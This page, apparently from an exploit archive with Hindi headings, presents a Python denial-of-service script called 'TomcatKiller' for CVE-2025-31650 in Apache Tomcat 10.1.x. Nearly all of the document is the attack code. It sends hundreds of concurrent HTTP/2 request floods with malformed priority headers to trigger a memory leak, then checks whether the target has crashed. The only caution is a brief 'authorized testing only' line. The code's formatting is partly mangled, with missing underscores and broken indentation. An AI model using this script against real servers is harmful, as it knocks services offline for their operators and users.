DoS-शोषण-

CVE-2025-31650

शोषण शीर्षक: Apache Tomcat 10.1.39 - सेवा अस्वीकार (DOS)

लेखक: Abdualhadi khalifa

CVE: CVE-2025-31650

import httpx import asyncio import random import urllib.parse import sys import socket from colorama import init, Fore, Style

init()

class TomcatKiller: def init(self): self.success_count = 0 self.error_count = 0 self.invalid_priorities = [ "u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid", "u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2", "u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=", "u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295", "u=invalid, q=1", "u=1, q=1, extra=", "u=1, q=1; malformed", "u=1, q=1, =invalid", "u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%", "u=0, q=0, null=0", ]

async def validate_url(self, url):
    try:
        parsed_url = urllib.parse.urlparse(url)
        if not parsed_url.scheme or not parsed_url.hostname:
            raise ValueError(\"Invalid URL format. Use http:// or https://\")
        host = parsed_url.hostname
        port = parsed_url.port if parsed_url.port else (443 if parsed_url.scheme == 'https' else 80)
        return host, port
    except Exception:
        print(f\"{Fore.RED}Error: Invalid URL. Use http:// or https:// format.{Style.RESET_ALL}\")
        sys.exit(1)

async def check_http2_support(self, host, port):
    async with httpx.AsyncClient(http2=True, verify=False, timeout=5, limits=httpx.Limits(max_connections=1000)) as client:
        try:
            response = await client.get(f\"https://{host}:{port}/\", headers={\"user-agent\": \"TomcatKiller\"})
            if response.http_version == \"HTTP/2\":
                print(f\"{Fore.GREEN}HTTP/2 supported! Proceeding ...{Style.RESET_ALL}\")
                return True
            else:
                print(f\"{Fore.YELLOW}Error: HTTP/2 not supported. This exploit requires HTTP/2.{Style.RESET_ALL}\")
                return False
        except Exception:
            print(f\"{Fore.RED}Error: Could not connect to {host}:{port}.{Style.RESET_ALL}\")
            return False

async def send_invalid_priority_request(self, host, port, num_requests, task_id):
    async with httpx.AsyncClient(http2=True, verify=False, timeout=0.3, limits=httpx.Limits(max_connections=1000)) as client:
        url = f\"https://{host}:{port}/\"
        for i in range(num_requests):
            headers = {
                \"priority\": random.choice(self.invalid_priorities),
                \"user-agent\": f\"TomcatKiller-{task_id}-{random.randint(1, 1000000)}\",
                \"cache-control\": \"no-cache\",
                \"accept\": f\"*/*; q={random.random()}\",
            }
            try:
                await client.get(url, headers=headers)
                self.success_count += 1
            except Exception:
                self.error_count += 1

async def monitor_server(self, host, port):
    while True:
        try:
            with socket.create_connection((host, port), timeout=2):
                print(f\"{Fore.YELLOW}Target {host}:{port} is reachable.{Style.RESET_ALL}\")
        except Exception:
            print(f\"{Fore.RED}Target {host}:{port} unreachable or crashed!{Style.RESET_ALL}\")
            break
        await asyncio.sleep(2)

async def run_attack(self, host, port, num_tasks, requests_per_task):
    print(f\"{Fore.GREEN}Starting attack on {host}:{port}...{Style.RESET_ALL}\")
    print(f\"Tasks: {num_tasks}, Requests per task: {requests_per_task}\")
    print(f\"{Fore.YELLOW}Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.{Style.RESET_ALL}\")

    monitor_task = asyncio.create_task(self.monitor_server(host, port))
    tasks = [self.send_invalid_priority_request(host, port, requests_per_task, i) for i in range(num_tasks)]
    await asyncio.gather(*tasks)
    monitor_task.cancel()

    total_requests = num_tasks * requests_per_task
    success_rate = (self.success_count / total_requests * 100) if total_requests > 0 else 0
    print(f\"\\n{Fore.MAGENTA}===== Attack Summary ====={Style.RESET_ALL}\")
    print(f\"Target: {host}:{port}\")
    print(f\"Total Requests: {total_requests}\")
    print(f\"Successful Requests: {self.success_count}\")
    print(f\"Failed Requests: {self.error_count}\")
    print(f\"Success Rate: {success_rate:.2f}%\")
    print(f\"{Fore.MAGENTA}========================={Style.RESET_ALL}\")

async def main(): print(f"{Fore.BLUE}===== TomcatKiller - CVE-2025-31650 ====={Style.RESET_ALL}") print(f"Developed by: @absholi7ly") print(f"Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.") print(f"{Fore.YELLOW}Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.{Style.RESET_ALL}\n")

url = input(f\"{Fore.CYAN}Enter target URL (e.g., https://localhost:8443): {Style.RESET_ALL}\")
num_tasks = int(input(f\"{Fore.CYAN}Enter number of tasks (default 300): {Style.RESET_ALL}\") or 300)
requests_per_task = int(input(f\"{Fore.CYAN}Enter requests per task (default 100000): {Style.RESET_ALL}\") or 100000)

tk = TomcatKiller()
host, port = await tk.validate_url(url)

if not await tk.check_http2_support(host, port):
    sys.exit(1)

await tk.run_attack(host, port, num_tasks, requests_per_task)

if name == "main": try: asyncio.run(main()) print(f"{Fore.GREEN}Attack completed!{Style.RESET_ALL}") except KeyboardInterrupt: print(f"{Fore.YELLOW}Attack interrupted by user.{Style.RESET_ALL}") sys.exit(0) except Exception as e: print(f"{Fore.RED}Unexpected error: {e}{Style.RESET_ALL}") sys.exit(1)

Dos-exploit-

सबसे लोकप्रिय